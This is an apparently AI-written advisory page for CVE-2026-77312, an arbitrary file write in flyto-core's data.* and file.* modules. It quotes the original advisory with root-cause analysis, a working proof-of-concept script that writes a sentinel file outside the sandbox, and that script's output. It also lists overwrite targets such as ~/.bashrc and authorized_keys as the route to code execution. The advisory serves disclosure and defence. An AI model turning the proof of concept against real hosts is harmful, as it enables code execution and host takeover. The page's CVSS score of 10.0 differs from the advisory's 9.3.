NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-77312: Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)

criticalCVSS 3.1 10.0GHSA-p34x-fmph-9fjx

flyto-core 2.26.7 and earlier lets a client write files anywhere on the host through its `data.*` and `file.*` modules. This is an incomplete fix of CVE-2026-67429. An attacker can overwrite code, shell rc files or SSH keys and gain code execution. Upgrade to 2.26.8.

Published Nov 20, 2026 · Analysis Nov 20, 2026

What an attacker can do

The earlier fix, in 2.26.6, added a call to validate_path_with_env_config() to a hand-picked list of modules. That call confines writes to FLYTO_SANDBOX_DIR. The data.* and file.* write modules were not on the list. There is no central path check in the runtime, so a module that skips the call is not confined.

data.csv.write only rejects paths containing ... An absolute path passes. It then calls os.makedirs and open(file_path, 'w'). data.json_to_csv (output_path), file.copy and file.move (destination) have no check at all.

A client that can run a module through the recipe engine or the MCP execute_module call picks both the path and the content. Writing to a Python module under the install directory, a .flyto recipe, ~/.bashrc, a crontab or ~/.ssh/authorized_keys leads to code execution on the host. The advisory notes the HTTP MCP surface can be reached without authentication, which is why the CVSS vector has no privileges required. The advisory's proof of concept writes outside a configured FLYTO_SANDBOX_DIR while the guard rejects the same path.

Who is affected

The PyPI package flyto-core at 2.26.7 or earlier is affected. The advisory names data.csv.write, data.json_to_csv, file.copy and file.move. It also says the wider data.*, file.* and report-writer families skip the path guard.

Check your version:

pip show flyto-core

flyto-core

Ecosystem
PyPI
Affected
<= 2.26.7
Fixed in
2.26.8
Check
pip show flyto-core

How to fix it

Upgrade to 2.26.8:

pip install --upgrade flyto-core==2.26.8

The release notes say all 8 file-writing modules now confine writes to FLYTO_SANDBOX_DIR. Set FLYTO_SANDBOX_DIR explicitly. It defaults to the working directory, with only a warning. Do not expose the HTTP MCP surface to untrusted clients.

How to tell if you were hit

Look for unexpected files written outside your sandbox directory by flyto-core modules. Check recent changes to ~/.bashrc, crontabs, ~/.ssh/authorized_keys, .flyto recipe files and Python files under the flyto-core install directory. Review your MCP and recipe logs for data.csv.write, data.json_to_csv, file.copy or file.move calls with absolute paths, or a destination outside the sandbox. Beam records agent file access and MCP tool calls, and its rules can flag writes to shell rc files or SSH keys.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

[CRITICAL] Arbitrary file write via unguarded data.* / file.* write modules — incomplete fix of GHSA-2956

  • CWE: CWE-22 (Path Traversal) / CWE-73 (External Control of File Name or Path); impact reaches CWE-94 (code execution via file overwrite).
  • CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.3 Critical (S:C because a write escapes the intended sandbox confinement into the host filesystem / other components).
  • AV:N — reachable via the MCP server / recipe engine (execute_module). AC:L — deterministic. PR:L — any client able to run a module/recipe (the same attacker model as GHSA-2956; unauthenticated on the HTTP MCP surface per CVE-2026-55786). UI:N. S:C — escapes FLYTO_SANDBOX_DIR. C/I/A:H — arbitrary-content write to any absolute path → overwrite app code / recipes / ~/.bashrc / cron / authorized_keys → RCE.
  • Affected component: flyto-core (PyPI flyto-core), HEAD ae2b38e (v2.26.7 line). Modules data.csv.write (src/core/modules/atomic/data/csv_write.py), data.json_to_csv (.../data/json_to_csv.py), file.copy (.../file/copy.py), file.move (.../file/move.py) — and the broader data.*/file.*/report-writer families that do not call the path guard.
  • Relationship: Incomplete fix of GHSA-2956-977x-2w3r (Critical arbitrary file write, patched in v2.26.6 by commit d5f89d7). That fix routed a hand-picked module list (image.download/convert/resize/crop/compress/rotate/watermark/qrcode_generate, document.excel_write/pdf_fill_form/word_to_pdf/pdf_to_word, browser.pagination checkpoint) through validate_path_with_env_config(). It did not cover the data.* and file.* write families, which still write a client-controlled path with no confinement.

Reachability (hop-by-hop, guards resolved)

  1. Client invokes a module via the recipe engine / MCP execute_module (src/core/mcp_handler.py, mcp_server.py) — the same surface as GHSA-2956 / CVE-2026-55786.
  2. data.csv.write reads file_path = params.get('file_path') and data (both client-controlled). Its only path check is if '..' in file_path: raise — a denylist that does not block absolute paths.
  3. It calls os.makedirs(os.path.dirname(file_path), exist_ok=True) then open(file_path, 'w') and writes data. No call to `validate_path_with_env_config()` — so FLYTO_SANDBOX_DIR confinement is never applied.
  4. data.json_to_csv (output_path), file.copy / file.move (shutil.copy2/shutil.move to destination) have no path check at all.
  5. An absolute path such as /home/<user>/.bashrc, /app/src/core/modules/.../<mod>.py, or a .flyto recipe file is written verbatim, outside the sandbox.

Guard analysis: the GHSA-2956 enforcement is per-module (e.g. image/download.py:21 imports and calls validate_path_with_env_config). There is no central path enforcement in the runtime — runtime/languages.py's PathTraversalError guards *plugin entry-point* loading, not module output paths. So a module that omits the per-module call is entirely unconfined.

Root cause

The remediation for GHSA-2956 confined writes by adding a per-module validate_path_with_env_config() call to an explicit list of modules, rather than enforcing confinement centrally. Any file-writing module absent from that list — the entire data.* and file.* families here — remains an arbitrary-write primitive. data.csv.write's '..'-substring check is a denylist that misses absolute paths.

Impact

Arbitrary file write with attacker-controlled content and path, escaping FLYTO_SANDBOX_DIR. Overwriting a Python module under the install dir, a .flyto recipe, a shell rc, a crontab, or ~/.ssh/authorized_keys yields code execution / full host compromise — the same impact GHSA-2956 was rated Critical for.

Executable PoC (benign sentinel, local only)

FLYTO_SANDBOX_DIR is set to the intended confinement; the module writes *outside* it while the GHSA-2956 guard rejects the same path.

import os, sys, asyncio
SBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', "/tmp/flyto_sbx"); os.makedirs(SBX, exist_ok=True)
sys.path.insert(0, "<flyto-core>/src")
OUT = "/tmp/flyto_PWNED_OUTSIDE.csv"           # absolute, outside the sandbox, no ".."
from core.utils import validate_path_with_env_config, PathTraversalError
try:
    validate_path_with_env_config(OUT); print("[guard] UNEXPECTED allow")
except PathTraversalError:
    print("[guard] GHSA-2956 guard REJECTS out-of-sandbox path (as intended)")
async def call(W, p): return await W(p, {}).execute()
from core.modules.atomic.data.csv_write import csv_write
from core.modules.atomic.data.json_to_csv import json_to_csv
asyncio.run(call(csv_write,  {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))
asyncio.run(call(json_to_csv,{'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT+'.json.csv'}))
print("wrote outside sandbox:", os.path.exists(OUT),
      "| inside sandbox?", os.path.realpath(OUT).startswith(os.path.realpath(SBX)))

Observed output:

[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path
[data.csv.write]   wrote=True inside_sandbox=False
[data.json_to_csv] wrote=True inside_sandbox=False
BUG CONFIRMED (arbitrary write outside sandbox)
  sample content: pwn / SENTINEL_CSV

Adversarial re-read (what I tried to refute it with)

  • Central path guard? No — runtime/languages.py PathTraversalError only guards plugin entry-point loading; the GHSA-2956 fix is per-module (confirmed at image/download.py:21). A module without the call is unconfined.
  • `'..'` check in `csv_write`? Denylist; absolute paths contain no .. → bypassed (PoC uses /tmp/...). json_to_csv/file.copy/file.move have no check at all.
  • `required_permissions=['filesystem.write']`? A capability flag, not a path confinement — the GHSA-2956-guarded modules declare it too and still needed the guard.
  • Sandbox default? FLYTO_SANDBOX_DIR defaults to cwd (warning only); the PoC sets it explicitly to show the confinement is bypassed even when configured.
  • Result: no concrete blocker. CONFIRMED (incomplete fix).

Remediation

Enforce confinement centrally: route every filesystem write through validate_path_with_env_config() at the engine/module-base layer (e.g. in the write path of BaseModule, or a filesystem.write-capability hook), instead of per-module opt-in. As an immediate patch, add the call to data.csv.write, data.json_to_csv, file.copy, file.move, and audit every module with filesystem.write in required_permissions. Replace the '..' substring denylist with the canonical realpath+startswith(base) check already in validate_path_safe.

Confidence

High — executed PoC (benign sentinel) shows two modules writing attacker-controlled content to an absolute path outside FLYTO_SANDBOX_DIR, while the GHSA-2956 guard rejects the same path.

Proof-of-Concept source (poc_arbitrary_write.py)

"""PoC: arbitrary file write via unguarded sibling write modules (incomplete fix of GHSA-2956).
Run: FLYTO_SANDBOX_DIR is set to the intended confinement; the modules write OUTSIDE it."""
import os, sys, asyncio
SBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', "/tmp/home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_sbx")
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "..", "flyto-core", "src"))
sys.path.insert(0, "/home/aoc/CVEs/flyto-core/src")
OUT="/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_OUTSIDE.csv"; OUT2="/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_json.csv"
from core.utils import validate_path_with_env_config, PathTraversalError
try:
    validate_path_with_env_config(OUT); print("[guard] UNEXPECTED allow")
except PathTraversalError:
    print("[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path")
async def call(W, p): return await W(p, {}).execute()
from core.modules.atomic.data.csv_write import csv_write
from core.modules.atomic.data.json_to_csv import json_to_csv
r1 = asyncio.run(call(csv_write, {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))
r2 = asyncio.run(call(json_to_csv, {'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT2}))
for tag,out in [('data.csv.write',OUT),('data.json_to_csv',OUT2)]:
    inside = os.path.realpath(out).startswith(os.path.realpath(SBX))
    print(f"[{tag}] wrote={os.path.exists(out)} inside_sandbox={inside} -> {out}")
ok = os.path.exists(OUT) and not os.path.realpath(OUT).startswith(os.path.realpath(SBX))
print("BUG CONFIRMED (arbitrary write outside sandbox)" if ok else "NOT CONFIRMED")
print("  sample content:", open(OUT).read().strip())

Credited to Pig-Tail.

Questions

Which flyto-core version fixes CVE-2026-77312?

2.26.8. Versions up to and including 2.26.7 are affected.

I already patched to 2.26.6. Am I safe?

No. Version 2.26.6 fixed the earlier advisory only for a list of modules. The data.* and file.* write modules stayed unguarded until 2.26.8.

Does setting FLYTO_SANDBOX_DIR protect me?

Not on 2.26.7 or earlier. The proof of concept sets it and the modules still write outside it. From 2.26.8 the file-writing modules honor it.

Is it exploited in the wild?

The sources do not say so. The advisory includes a proof of concept, and the entry is not marked as known exploited.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries